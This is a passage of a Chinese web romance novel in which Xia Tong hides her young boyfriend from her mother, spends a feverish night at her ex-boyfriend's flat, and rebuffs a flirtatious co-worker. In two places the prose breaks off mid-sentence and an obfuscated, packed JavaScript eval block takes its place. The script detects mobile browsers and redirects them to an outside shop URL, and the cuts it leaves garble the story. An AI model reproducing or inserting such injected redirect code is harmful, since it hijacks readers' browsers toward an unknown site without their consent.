然后呢,他要说什么,他干脆把一切都坦白好了。他说阿姨您好,曈曈在浴室泡澡,所以不方便接电话。至于相亲也不必安排了,因为我就是曈曈的男朋友。 谢桁有着充足的底气去和夏曈的妈妈对话。他有才有貌,有房有车,有公司股份和家族信托,可以给曈曈提供优渥的物质生活。更重要的是,他和他的妈妈谢清岚对结婚生子没有任何执念,他甚至不在意是否领证,只要曈曈愿意在他身边,那一纸证书有没有都无所谓。 他的条件优越到可以吊打那个不知哪儿冒出来的相亲对象。 可是,这是夏曈想要的吗? 她真的愿意看到他擅自做主,干扰她的人生吗? 谢桁低眸看着屏幕,十秒的纠结后,轻舒一口气,将手机放在桌上。 指骨用力发出喀喀声响,他闭了闭眼,随后若无其事地给夏曈剥柚子。 他选择尊重夏曈的想法,放弃这次坦白的机会,继续做被她“藏起来”的男朋友。 半个小时后,夏曈裹着浴巾从浴室出来,圆润皙白的肩头在灯下泛着湿润的光。 虽然地暖烘热,室内温暖如春,但谢桁见状还是将她扯过来擦干水珠,裹上一件比较保暖的睡衣。 她的发梢还在滴水,谢桁拿过吹风机给她吹头发,夏曈翻了翻手机消息,看到杜静兰的连环轰炸,心念一动,“刚才有人给我打电话吗?” “没注意,电视剧的声音太吵了,”谢桁语气自然,“转过去。” 夏曈听话转身,感受他手指灵巧地理着略有打结的发丝,顺势抚摸她的头皮,舒服得眯眼。 她快速浏览杜静兰的长篇大论,又将语音转文字,扫了一眼,最后回复道:【周日没空,不见。妈妈,别再给我安排了,我真的没有结婚的打算。】 将手机倒扣在桌面上,不再理会。这时耳边的风停了,谢桁将吹风机放下,灼热掌心一寸寸摩挲她的手腕,状似不经意问:“姐姐,这周日有时间吗?我们去迪士尼玩吧。” 周日。 夏曈转身,眼瞳被水雾浸润后愈显乌亮,“你是不是看到消息了?” 谢桁的指腹轻按在她的手腕脉搏,静默两秒,点了点头。 刚才吹头发时,夏曈打字回复消息,手机屏幕正对他,毫不设防。饶是他忍住不看,极佳的视力也能让他在无意间的一瞥后推测出事件全貌。 他不把事情挑明,一是想留有余地,二是他也怕听到什么难以承受的回答。 万一,夏曈真的从未计划过他们的未来呢? 客厅明亮灯光倾泻而下,谢桁的五官依旧立体深邃,挺拔眉骨投下的阴影却让他向来直白、浓烈的眸光染上几分沉郁。 与这样的目光对视,只会让人觉得是不是欺负了他。 这种要人哄的表情。 夏曈一直有个很隐秘的癖好,她喜欢看男人流泪。 尤其是谢桁这样脸孔精致的人,低垂着头,微红眼眶。 谢桁早就摸清了她的喜好,在某些特定情况下,也会展现适当的脆弱来博取她的怜爱。 但他发誓,此时的脆弱绝不是装出来的。 夏曈将碎发挽在耳后,伸出双臂索抱。谢桁倾身,将她揽抱到自己怀里,侧脸埋在她散发着馨香的颈窝。 “妈妈对我的婚事非常着急,也确实为我安排了相亲,”夏曈轻声说,“而她做这些安排,是因为不知道我已经有了男朋友。” 谢桁抬起脸,眼神极为专注、认真地看着她,等着她的下文。 夏曈说:“而我之所以不把我们的事情告诉她,是因为……还没有做好心理准备。” 谢桁低声重复:“心理准备?” 他随时都可以向夏曈介绍自己的家里人,他早就做好了与夏曈共度一生的打算,因此并不明白夏曈口中的心理准备是指什么。 夏曈耐心道:“我担心爸妈那里,会不同意我们在一起。” 谢桁不解:“为什么?我很拿不出手吗?” “当然不是,”夏曈斟酌着措辞,“谢桁,你年龄小,现在还在念书,以后还可能出国深造。这在我父母的眼里就代表着不稳定。” 借口,都是借口。 “那姐姐是怎么想的?”谢桁声音闷闷的,气息扑在她锁骨,“姐姐也觉得我不稳定吗?” 夏曈轻声笑:“我不是追求稳定的人。” 谢桁抬起脸,棕色瞳孔被灯光照射得极浅,他注视着夏曈,眼神有怨,也有委屈。 “妈妈想让我嫁给一个工作稳定的老实人,但那并不是我想要的。”夏曈捧着他的脸,细软指腹摩挲他线条清晰的下颌,“我只要我喜欢的人,知道吗宝宝?” 谢桁强调道:“你喜欢的人是我。” 夏曈抿唇笑:“是。” 她安抚道:“如果我把你的存在跟爸妈讲,他们一定会对你产生好奇,想要了解你的一切,以挑选女婿的严苛标准来评价你。到时候,我们都会很困扰。” 谢桁沉默不语。所以他的年轻,在她的父母那里反倒是劣势。 “等我毕业接管公司事务后,姐姐会把我们恋爱的事情告诉家里人吗?” 夏曈眨眨眼,这小狗怎么如此执着于要名分呢? 她根本不想走到那一步啊。 但这话不能说。 夏曈低头亲了亲他的唇,柔声哄道:“我喜欢你就够了。” 她的喜欢胜过一切世俗眼光。 可是谢桁并不满足。他是惯会得寸进尺的人,“喜欢还不够。” 他微微偏头,咬住夏曈的手指,“姐姐,你要爱我。” - 也许这番对话给了谢桁底气,周日,他果真缠着夏曈去迪士尼玩了一天,晚上又去泡温泉,硬要破坏她妈妈安排的相亲。 夏曈本来也不想去相亲,纯粹浪费时间,干脆和谢桁在外面狠狠玩了一通,直到晚上十点才到家。 谢桁没跟她一起。 刚出温泉馆的时候他就接到谢清岚的电话,匆匆回了谢家,似乎有什么急事需要处理。 夏曈对谢桁的家事向来没兴趣,只叮嘱他路上注意安全。 她今天在游乐园里跑了一天,玩的时候肾上腺素飙升,不觉得累,晚上又在温泉馆耗费大量体力,纵使谢桁好心为她按摩了一会儿,此时也不由浑身酸痛,困得上下眼皮打架。 她走出电梯,微阖着眼,正打算按锁的时候,忽听隔壁门内传来隐约的小狗呜呜声。 汤圆? 夏曈动作一顿,汤圆怎么在门口等人,难道沈湛明不在家吗? 都这个点了,他不会还在医院加班吧? 既然工作太忙没空陪汤圆,当初就不要和她争夺抚养权啊。 夏曈心中烦闷,身体却不由自主朝着那扇门走去。 她先是走到门边听了听动静,确定沈湛明真的不在家,才轻声道:“汤圆?” 门内边牧几乎是立刻听出了她的声音,热情地呜呜回应,同时响起狗爪挠脚垫的声音。 夏曈笑道,“汤圆!” 汤圆叫得更欢了。 夏曈以前最喜欢把脸埋在汤圆的肚子里,狂吸它身上热烘烘的小狗味,即便被沈湛明批评不卫生她也要埋。并且汤圆极为聪明,它甚至能帮她去零食架上拿薯片,是夏曈最忠实的侍奉者之一。 另一个就是沈湛明。 所以她和沈湛明分手后,还因为汤圆跟谁一起生活而大吵一架。最终沈湛明夺取胜利,理由是她连自己都照顾不好,汤圆太小了又经常生病,只会成为她的负担。 于是夏曈再也没见过汤圆。 只有去年过年,夏、沈两家一起吃年夜饭,沈湛明带了汤圆过来。当时夏曈还跟他生气,虽然很想扑上去抱着狗贴贴,但是沈湛明太讨厌了,牵着狗绳根本不撒手,她硬是忍住了没搭理。 而此时此刻,她连和汤圆打招呼都得隔着一扇门。说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469369|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁更可怜。 夏曈瞬间就有点不悦,心说这是做什么呢?她敲了敲门,留下一句“好狗狗,我走啦”,便转身回自己家。 汤圆在门内还嘤嘤呜呜地叫,对她很不舍。 夏曈关上门,隔绝了这点细微的声音。 她倒在沙发,脸颊埋在抱枕里,呼出一口气。 小猫垫着脚尖过来,嘴巴里叼着逗猫棒,脑袋拱了拱她垂在沙发边缘的手。 客厅角落有猫粮机,到点了自动投喂,不必担心大肥猫在家会挨饿。 但这逆子的智商显然为负,把猫粮机当亲妈动辄蹭蹭贴贴,却把夏曈当成铲屎的,天天对她爱搭不理。 只有吃饱喝足了想玩的时候才会来找她。 夏曈接过逗猫棒跟它玩了一会儿,实在精力不支,把它赶去了猫爬架。 她脑子里乱糟糟的,其实有点想念汤圆。 沈湛明固然讨厌,可汤圆是无辜的。分手时毛孩子还不到一岁,天天和她腻在一起玩,都把她当成妈妈了。结果突然有一天妈妈不见了,从此再也没见过。 汤圆作为狗虽然聪明,但毕竟不能理解人类的情感纠缠。它或许至今都不明白夏曈为什么离开,只知道夏曈再次出现了,但是夏曈不见它,也不跟它一起玩。 夏曈越想越难过,心说难怪有些情侣分手了还要去前任家偷狗呢,这谁舍得啊。 也就她这么心硬了。好坏的妈妈。 不知是白天体力耗费太多,还是心情压抑导致,夏曈躺了没多久就浑身酸痛,困意汹涌,连回到卧室的力气都不够。 挣扎着将外套扯掉丢在一旁,身上只留一件毛衣,她换了个舒服的姿势,闭眼就陷入昏睡。 - 夏曈是被冻醒的。 北方的地暖虽然温度够高,室内可以达到26度,但仅穿一件毛衣入睡依旧过于单薄,尤其是在低烧的情况下。 夏曈头痛欲裂醒来的时候,就察觉到自己在发烧。 她趿着拖鞋去电视柜下取出医药箱,翻找到温度计测量,38.2℃。 夏曈将温度计放好,回想晚上泡温泉时,谢桁压着她在池子里做的画面,并不觉得奇怪。 但家里没有退烧药,就奇怪了。 她明明记得是有半板布洛芬,她之前牙龈发炎专门买来备着的,此时却不见踪影。 夏曈没精力再去思考那么多,她是对发烧反应很剧烈的体质,稍微一点低烧就能让她痛得死去活来,更遑论此时的体温已经38度2,还在持续升高。 已是凌晨,再给谢桁打电话不合适,干脆打车去医院。夏曈难受得要命,迅速套上外衣,抓着手机直接出门。 走廊里有冷风吹过,她裹紧外衣,脸上热度被迫降了些,眉头仍因疼痛而紧皱。 电梯门开,她料想凌晨时分已经不会再有住户出入,于是垂着头快步走进。 却险些撞到一人胸膛。 沈湛明皱起眉,眸光冰冷地看着这个差点撞进自己怀里的人。 细眉紧蹙,碎发微乱,脸颊通红,红得不正常。 她不舒服。 沈湛明淡声开口:“你……” 夏曈抬头看他一眼,乌黑眼瞳覆着湿润,唇却紧抿,没有半点想要开口的意思。 沈湛明于是不再出声,收回目光,侧身走出电梯。 夏曈在他离开的刹那就后悔了。 她浑身关节已经痛到难受,脑海里反复在想,沈湛明身为外科医生,家里难道不会常备药品吗? 她何必舍近求远?何必逞强?忍着不适非要去医院,这不找罪受吗? 前男友也没关系,这种事本就没什么,就算沈湛明找她借必需品,她也会给的。 正常交流就好了。都是成年人,心里有数。 电梯门即将阖上。 沈湛明在踏出电梯的瞬间,就有意放慢步伐,注意着身后的动静。 他对她的一切生理反应都无比熟悉。她在发烧,浑身都在痛。 而她的混血小男友,并没有在身边照顾她。 她在凌晨时分还要出门,无非只有一种情况,家里没有退烧药,她要打车去医院。 距离这里最近的医院,打车需要20分钟。此时凌晨,等车也许还需要一段时间。 而她对于疼痛的忍耐力近乎于无。 沈湛明按下指纹锁,门开,汤圆扑上来欢迎他,呜呜叫着,声音完全能够传到电梯里的夏曈耳中。 沈湛明俯身在玄关,他要摸汤圆的脑袋安抚它,因此没来得及关门。 于是,他清楚地听到了夏曈走出电梯的脚步声,手机链晃动的清脆声,以及她的询问,虚弱,微哑,带着别扭的试探。 “沈湛明,你家里有没有退烧药?” 汤圆先回答她,“汪汪!” 似乎怕他拒绝,她还扯起嘴角笑着补充一句:“沈医生,你不会见死不救吧?” 沈湛明直起身,注视着她烧得通红的脸蛋,淡声回道:“进来。” 他拍拍不停冲她摇尾巴的汤圆,径自走进去。那扇门为她留着,暖色调的光芒倾洒,汤圆吐舌迎接,一脸雀跃。 7. 第 7 章 夏曈从进门那刻起,就开始犯困。 她坐在沙发上强忍睡意,摸摸汤圆的脑袋,抬眼打量周遭。 室内整体装修以银、灰两色为主,窗帘紧闭,客厅墙壁是深灰色,除却一排氛围灯之外,没有任何装饰。茶几干净剔透,沙发旁的落地灯泛着柔雾般的光,地毯上散落着汤圆的毛绒玩具,电视墙旁边有一盆半人高的绿植,是整个客厅唯一的装饰。 总体而言,这套房的装修很显高级,但和沈湛明经年不变的黑灰穿搭色调一样,正式、冷淡,又无趣。 连生活痕迹都很少。 不过也是,他工作忙得要命,恐怕也没办法享受生活。 夏曈近乎嘲讽地想。 沈湛明找出退烧药,连同热水一并放在茶几,俯身时深灰色衬衫勾勒出劲瘦的腰身。 他凌晨才下班,高负荷运转的工作性质让他眼下显出乌青,有种淡淡的疲惫感。 夏曈在他身上闻到熟悉的干燥温暖的气息。 药只有一片,夏曈端起水杯,温度也刚好。她唇角轻牵:“沈医生照顾人还真是得心应手啊。” 沈湛明放下/药就往浴室走,闻声回头,“病人应该好好休息,而不是把精力放在冷嘲热讽上。” “嘲讽什么呢?”夏曈身上痛,脾气也控制不住变差,当初分手的怨气一股脑涌上来,她抱着汤圆,歪头笑道,“我只是在夸沈医生心思细腻,连病人可能看不清用药规格这种情况都考虑好了——平时没少体贴别人吧?” 沈湛明扫视她一眼:“在医院关心病人情况是我的职责所在。至于其他,夏曈,我没有必要向你报备,你也不必试探。” “我确实没必要试探,”夏曈弯唇笑,“因为你就不像是有女朋友的样子。” 忙到这种时候才回家,还摆着一张性冷淡的脸,哪个女孩子会喜欢他?也就她那会儿年纪小不懂事,对沈湛明这副矜持禁欲的样子迷恋得要命,一有空就像树袋熊似的挂在他身上。 沈湛明冷抿着唇:“无意义的揣测,何况你根本不在乎这些。” 夏曈无所谓地耸了耸肩,将药放入口腔,端杯喝水。汤圆将热烘烘的脑袋搁在她的腿上,黑黑的小狗眼认认真真看着她,求摸头。 夏曈抱住它的脑袋,直接在它脸上亲了一口。汤圆开心死了。 沈湛明冷眼看着这副母慈子孝的温馨画面,一言不发,转身去了浴室。 夏曈烧得口渴,一杯水喝光之后,又起身去开放式厨房倒了一杯。汤圆寸步不离地摇着尾巴跟在她身后,小狗鼻子在她裤腿蹭来蹭去。 汤圆是真的被沈湛明养得很好,性格乖巧,干干净净,毛发顺滑发亮,连一些习惯都保持得很好,咬她的手指都轻轻的。 “干嘛呀,”夏曈察觉到汤圆在把她往一个位置引,她走到一处橱柜旁,“这里?” 汤圆叫了声,很高兴地吐舌,示意她打开。 夏曈想了想:“什么呀,里面不会是你的狗粮吧?这里不是我家,我不能随意打开橱柜帮你拿哦。去找你的主人吧。” 说罢就起身要离开,她并不想在沈湛明的家里多待。 而且他把药拿出来就直接进了浴室,连招待都没有,明摆着不想见她,她留在这里做什么? 刚走半步,汤圆绕到她身前拦路不许她走,非要她打开橱柜。 “好吧好吧。”夏曈的脑袋也晕,就地盘腿坐下来,“我只帮你拿一点点……” 她将橱柜打开一条缝,心想不管怎么说,她是在帮沈湛明喂狗呢,委屈谁也不能委屈小狗啊,这举动应该不算冒犯。 深灰色柜门打开,夏曈看了一眼,不由怔住。 内中摆放整齐的,哪里是什么狗粮,全部是人吃的零食。 准确来说,都是夏曈以前最爱吃的。 曲奇,威化饼,榛果巧克力,还有各种口味的薯片。 汤圆摇摇尾巴,献宝一样,脑袋拱着她的胳膊,让她伸手去拿。 夏曈拿出一包黄油曲奇,借着柔和灯光看包装,日期还很新鲜——沈湛明是从不吃这种零食的,所以他买来做什么? 她头痛欲裂,止住想法。不能再细想,细想下去就会触碰到某些她不愿接受的事实。 她有些费劲地起身坐回沙发,拆开那包曲奇慢慢嚼,浓郁的黄油味弥漫在唇腔,掩盖了生病带来的苦气。汤圆亦步亦趋地跟着她,甚至非常贴心地趴在她的小腿上,用柔软的腹部为她保暖。 夏曈轻声说:“你是想让我吃这个吗?” 汤圆歪着脑袋看她,眼神乖巧。 - 沈湛明从浴室出来时,夏曈已经在沙发上睡着了。 她的脸颊线条柔和,唯有那双眼明艳浓烈,眼神有力得近乎能伤人。此时睡熟后,瑰丽光芒被薄薄眼皮遮掩,便显出清纯和乖巧。 沙发上仅有抱枕,夏曈就那么稀里糊涂地睡着,身上克莱因蓝的毛衣衬得她肤色冷白细腻,却也单薄。她怎么可能不冷? 永远无法照顾好自己,难怪会发烧。沈湛明转身回卧室取了条绒毯盖在她身上,俯身时见她锁骨的位置光芒轻闪,仔细看是一条项链,很特别的树木形状。 沈湛明动作微顿,立刻想到这也许与她那个小男友有关。 他眉眼冷峻,视线落在她并不圆润的脸蛋,竟然比分手时还瘦了,腕骨也细得突出。她自己厨艺差劲,他并不苛责,但那个小男友又是否尽到责任? 比她年龄还小的男生,想必并不懂如何照顾好她,可能还需要她反过来去哄他。这样的两个人在一起谈什么恋爱,玩小孩子过家家? 沈湛明辨不清此时心里如何作想,片刻的晃神,已经嗅到她身上被过热体温扩散的淡淡气息,玉龙茶香。他当年拿到国奖后送她的礼物之一,就是这款香水。 气味可以很轻易地勾起人的回忆。沈湛明直起身,与她拉开距离,也远离香味的来源。 他倒杯水放在茶几免得她半夜口渴,将要转身回卧室时,这才看到那包拆开的黄油曲奇。 沈湛明一怔,随即与趴在她腿上的汤圆对上目光。 ——你带她找到的? 汤圆眼睛湿漉漉,很无辜很乖巧地为她的腿部保暖。 沈湛明伸手制止它试图出口的汪汪声,掌心摸了摸它的脑袋,低声嘱咐:“好了,不要吵醒她。” 汤圆看懂了他的手势,脑袋趴在绒毯,很乖地闭上眼睛。 整个客厅的色调是统一的黑白灰,沈湛明早已习惯这种冷淡风格。可今晚她睡在这里,身上毛衣的克莱因蓝,与曲奇包装的玫瑰红,构成了整个客厅唯二的亮色。 连空气里,都弥漫着淡淡的黄油香。 沈湛明在沙发边站了两秒,将落地灯的亮度调到最低,转身回卧室。 - 清晨六点,天色显出沉冷阴暗的苍青色。 高档小区周边安静,没有早点摊和老人锻炼的吵闹,隔音效果又极好。沈湛明独居,家里更是安静得一点声音都没有。 夏曈纯粹是被痒醒的。她睁开眼,就见汤圆守在沙发边,慢慢舔着她的手心,舔两下,还歪头看她醒没醒。 ——这是以前她和沈湛明同居时养成的习惯。她刚工作那会也是起床困难户,沈湛明有时忙起来没空总盯着她,就让汤圆去把她叫醒。 现下她睡在沈湛明的家里,沈湛明也醒了,于是汤圆以为它又要担负起叫醒夏曈的重任。 夏曈只睡了五六个小时,烧虽然退了,身体却也虚弱,于是强撑着坐起来想回家吃点东西再睡,一转头却见沈湛明站在不远处,眸光沉静地看着她。 他肩宽腿长,身材高挑,是居家服也掩盖不住的挺拔,“醒了。” “……嗯。”夏曈昨晚说了那些颇为不礼貌的话,此时脑袋清醒过来,也稍稍有点不自然。 “烧已经退了,但还要多喝水。”沈湛明淡声,“你昨晚出很多汗。” 他说完这句话,夏曈才感觉身上黏糊糊的不太舒服,她无意中抬起手臂,发现手腕处有道淤青。 “你昨晚从沙发摔下来,磕到茶几。”沈湛明走到开放式厨房,语气不冷不热,“也可能踢到了汤圆。它半夜把我吵醒,我才知道你摔倒了。” 言外之意,不是他时刻关注她的情况。 “哦。” 夏曈没想这么多,只在心里嘀咕:她居然那样都没醒么,在邻居家里也睡得真够香的——虽然这个邻居是前男友,但她怎么睡得这么安心? 难道她潜意识还认为他是绝对安全的? 这里不是可以久待的地方。夏曈又饿又困,起身道谢:“谢谢你昨晚的照顾,给你添麻烦了。以后有空我请你吃饭。没事我就先走了。” 社交潜台词之一:“以后有空”就代表着没时间,别联系。 沈湛明本来也不要她做什么,颔首道:“以后注意保暖。” 以后注意保暖。 夏曈听到这句话,一股无名火顿时烧了起来。 她最讨厌的,就是沈湛明这副淡漠理智的模样。他永远冷静自持,面对断崖式提出分手的前女友还能面不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469370|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改色地叮嘱“注意保暖”,这个人还有心吗? 夏曈勾唇轻笑,又坐回沙发,眸光灼灼盯着他。 沈湛明原本要回卧室,见状回望她:“还有什么事?我这里不提供早饭。” 夏曈心里怒骂谁要吃你那破玩意儿?她面上却是温和的,“沈医生可能误会了。我生病不是因为穿得少。” 沈湛明看着她此刻的表情,直觉不对:“我对你怎么生病没有任何兴趣。” 夏曈才不理他,纤细手指绕着发梢,声音很轻地说:“我和男朋友昨天去了迪士尼,晚上太累了,就临时决定泡温泉,那里环境特别美,氛围感也好,很适合情侣一起去。而且昨晚下雪了,今年的初雪哦,你有注意到吗?” 沈湛明脸色很冷。 他昨晚在做一台急诊手术,连晚饭都没时间吃,看哪门子的初雪。 “然后我们就在温泉里做了一次。”夏曈唇角勾笑,乌亮的眼瞳静静地注视着他,“做的时候没觉得冷,还出了好多汗。可能结束后才受凉的。” 话音落下,满室寂静。 她本就生得漂亮,此时窝在沙发里望过来,有种奇幻到瑰丽的美。 只是那双眼瞳里不见一丝笑意,反而掺杂了某种不甘心和刻意挑衅。 汤圆窝在沙发边,湿漉漉的眼睛看看她,又看看沈湛明,连一点气声都不敢发出。 沈湛明站在原地没动,眉目冷冽如雪,他冷嘲道:“那你这个男朋友真不合格,为了追求所谓刺激,连女友的身体健康都不管不顾。” 夏曈笑道:“不怪他,因为是我提议的。沈医生,年轻时就要大胆一点,把该体验的都体验一遍,这样老了才不会后悔,你说对吗?” 以她对沈湛明的了解,他虽性情冷静,却无法忍受半点这方面的挑衅,可她观察片刻,却在沈湛明脸上找不到任何怒意和不悦,他此刻的神情平静得不像话。 沈湛明缓缓开口:“夏曈,我对你和那个人的事情,没有半点兴趣,更不想了解你在这种事上的观念和喜好。如果你想以此激怒我,我劝你省下这份精力,回去补觉。” 夏曈蹭的站起来,病后虚弱让她的眼前黑了一瞬,但还是强撑着道:“这么说,你明知我们当初不和谐,却也没想过要改变,没想过和我沟通是吗?” 沈湛明终于皱起眉:“什么?” 夏曈怒视着他,牙齿轻咬嘴唇内侧,“没什么,你当我什么都没说。” 再说下去,两人势必要吵架。 她是心里憋着一股气没处发,但现在没有立场再和他吵。她已经有新的男友了,热恋期,还跟前任纠缠不清的做什么?太不体面了。 沉默许久,还是沈湛明先开口,他语气温和,带着不自觉的安抚意味:“我们之间不适合再谈论这种话题,夏曈,刚才的话我就当没听到。以后如果你有急事或是麻烦,还是可以来找我。但现在,回去补觉。” 说罢,沈湛明连送客都懒得,直接转身回卧室。 他坐在床边,精力耗尽似的叹出一口气。他听见客厅里汤圆呜呜叫着,随后是她离去的脚步声,又快又重,带着怒气,“砰!”的关门声响。 沈湛明揉了揉眉心,疲倦累加,让他头痛欲裂。 他凌晨才做完急诊手术,回家又被她折腾半宿,晚上卧室门都没关,始终浅眠,就为了随时注意沙发那边的动静,结果她夜里发汗热得到处乱滚,还真摔了。幸好铺的地毯够厚没有摔伤,不过咚的闷响还是瞬间惊醒了他。 为免她再次摔下来,他只得在沙发旁守了一宿,期间喂她两次水,给她掖好薄毯不知多少次,直到天亮才回卧室。 可她呢,刚睡醒,力气都没恢复,尖锐的言辞就如刀一般扎过来。 他从前就在想,这个女朋友小小的,年龄小,手小,脸也小,可迸发出的力量连他都无力招架。他自知性情冷静寡淡,却爱她爱到忍不住叫她“乖乖”。可有的时候,他也会怀疑他的乖乖其实是比格转世,天生携带拆家因子,不然怎么这么能闹腾呢? 沈湛明是在爱夏曈的过程里,逐渐明白“人是一个矛盾体”。 他和夏曈都是这样矛盾的人。 汤圆在客厅里孤单地溜达,沈湛明冷漠地关上卧室门,禁止它溜进来打扰他休息。他周末两天都在急诊,昨晚又近乎通宵,今天是难得的休息日,他必须补觉。 但沈湛明闭上眼,心脏在胸腔里快速跳动,精神异常亢奋,并无一丝睡意。 他也无法确定,这种亢奋到底是源自她的出现,还是纯粹被她气的。 8. 第 8 章 转眼深冬,夏曈忙着赶去年前最后一次拍摄。 这次是为国内某新兴彩妆品牌拍摄一组宣传照,主题与自然相关,地点定在远离市中心的一处森林公园。时值隆冬,气息冷寒而清新,草木凋零大半,但临近湖边的松柏与广玉兰等常绿乔木依旧青翠葱茏。 夏曈挺喜欢这种工作环境,至少空气清新,并且工作日游客少,她不会被迫吸二手烟,也不会被熊孩子吵得头痛。 夏曈以前尝试过向大牌投递简历,但是由于脸颊肉明显,不够棱角分明,不符合“高级脸”的定位,第一轮就惨遭淘汰。 她对此心态良好,先天条件在那里,又不愿意为了拍摄效果而疯狂减肥、吃尽苦头,最后把身体搞坏。于是慢慢转型,与国内二线品牌合作,同时运营自己的账号。 拍摄中途休息,夏曈拧开保温杯喝水,随口和小助理孟倩聊天。 夏曈平时也会拍摄一些零散短片,记录生活和工作日常,然后交给孟倩剪辑成vlog发布在账号。 这种vlog基本是纯记录,孟倩的剪辑风格走悠闲搞怪风,经常会拍一些活人气息浓厚的路人互动,再加上夏曈从不在视频里塞广告,因此播放量和好评都很多。 为免破坏妆造,夏曈喝水的动作也很小心。 她跟孟倩聊了两句,一抬眼,就见郑柯走了过来。 郑柯是与她同组拍摄的搭档,是个颜值博主,去年拍摄变装视频爆火过,后面因为骨相实在好,抓住机会签了MCN,如今又接广告,一路走来不可谓不励志。 两人早就认识,但关系一般。夏曈佩服他的聪明决断,但并不喜欢这样心思很多的人,总觉得不真诚,表面和气,说不定什么时候就背后阴你一把。 郑柯嘴角勾着笑,声音温和:“夏曈,好久不见。” 夏曈深吸一口气,抬脸时已经面带微笑:“好久不见。” 郑柯眼里笑意愈深,视线落在她妆容精致的脸上。 女孩子皮肤很白,在树隙落下的冬日阳光里愈显明净细腻,她坐在长凳,慢悠悠吃着巧克力补充体力,那副生人勿进的模样很冷,却也足够具有诱惑力。 郑柯在她身边坐下,隔着一段适当的社交距离,温和出声:“我们上次见好像还是去年吧?” 夏曈忍住厌恶,但身体还是控制不住朝孟倩挪了挪,颔首:“是吧。” “嗯,我后来又给你发过合作邀请,”郑柯勾唇笑,“但你可能太忙了,所以忘记回复。” 夏曈顺着他的话说:“拍摄工作很累,到家之后不会再有处理其他事务的精力,这点你应该深有体会。” 郑柯笑着点头,“对。” 他摸了摸鼻子:“幸好今天的拍摄比较轻松,估计半小时就能结束。那么今晚你有时间吗?我们可以重新谈一谈之前的合作。” 哪里有什么合作,此人还是老样子没变,讲话拐弯抹角,不肯付出半点真诚。 夏曈不会被打动,她补妆完毕,嫣然一笑:“今晚没有时间哦,我要陪男朋友吃饭。” 郑柯脸上神情丝毫未变,依旧温和:“那么明晚呢?” 夏曈挑眉看他。 郑柯注视着她:“怎么?你总要给我个机会。” 给你什么机会? 孟倩听见这话连头都不敢抬,脸都快埋进平板。 夏曈放缓语速,很认真地告诉他:“郑柯,我有男朋友。” 郑柯笑道:“我去年就知道啊。” 去年? 夏曈怔了下,那会儿她还和沈湛明在一起。看来郑柯还不知道她和沈湛明早就分手了。 不过,也没有告诉他的必要。 夏曈问:“知道我有男朋友还要说这种话,你这是在?” “你们还没领证吧?没领证之前我都有机会。” 郑柯笑意不变,语气理所当然:“领了证我也有机会,毕竟这个世上没有什么是无坚不摧的。” 话题有些危险。 夏曈忽然想笑,她以一种听八卦的心态轻声问:“我只是问一下,在你的观念里,似乎并不介意做第三者?” “爱情不分先来后到,一纸证书也无法约束人的情感。”郑柯转过头看她,挺拔鼻梁在侧脸投下一块阴影,“夏曈,我只遵循内心的感受,别的都不重要。” 夏曈又问:“那如果别人抢了你的女朋友呢?你也会站在他的角度,替他找一大堆理由吗?” 郑柯淡定道:“哦,那是他该死。” 夏曈心说你这道德败坏还败坏出哲理来了?别人当三,自甘下贱;自己当三,倾城之恋? 她懒得聊了:“说实话,你不是我喜欢的类型。” 郑柯思索道:“那你喜欢高冷禁欲的类型?我记得你那个男朋友是外科医生,长得蛮帅,还能玩你们小女生最喜欢的制服诱惑。可是夏曈,他看起来比你成熟稳重许多,年龄得二十大几了吧?” 夏曈没搭理这茬,余光瞥见小助理已经借着拿咖啡的动作跑到一边了。 郑柯是个聪明人,明知接下来的话题已经很深入,却还要继续。他就是要在夏曈当下的感情里凿出裂痕:“网上都说男人过了25就是65,相比有钱有闲的年轻人,外科医生工作忙碌,精力耗费大,想必并不占据优势。” 这是纯粹的冒犯。但与郑柯这种道德观念缺乏的人讲礼貌是讲不通的,夏曈冷笑声,“郑柯,我只喜欢我现在的男朋友,我喜欢他的人,与年龄、职业都无关。与其在这里对我的私事指手画脚,不如思考一下你为什么会把网友的调侃当真呢?莫非这些话戳到了你的痛处?” 说罢,她收好化妆镜,走去另一侧的休息处。 郑柯脸上笑意不变,若无其事地起身。 他就喜欢夏曈这种性格,不屈就、不讨好,骨子里透出的那种娇纵劲得要命。 这种傲娇的女孩子,那个矜持禁欲的外科医生能谈得明白吗? 郑柯自认不是M。 但如果夏曈肯玩他,他也可以勉为其难地当一回。 而对待夏曈,他有的是耐心。追逐拉扯的过程越复杂,得到后的愉悦才更持久。 虽然两人刚闹过不愉快,但工作上不谈私人恩怨,接下来的拍摄进行很顺利。拍摄结束后,夏曈还是笑意盈盈地与众人告别。 小助理孟倩跟她比较晚,只认识她有个小男友叫谢桁,还不知道外科医生是谁,一双杏眼看着她欲言又止。 夏曈面无表情:“不该想的别乱想。” 孟倩点点头:“我什么都不知道!” 这时一行人已经出了森林公园,谢桁的车停在路边,夏曈跟孟倩简短安排了后续工作,转身上车。 郑柯的目光始终追随那抹身影,忽然低声问:“那是她男朋友的车吗?” 孟倩吓了一跳,不知他何时站在自己身后,摇头说:“我不知道。” 郑柯看她那个老实的样子,笑了笑,没说话。 他眼神好,记性也好,刚才看得一清二楚,那根本不是外科医生的车。 - 今晚谢桁的小侄女过生日,夏曈受邀去参加家庭晚宴。 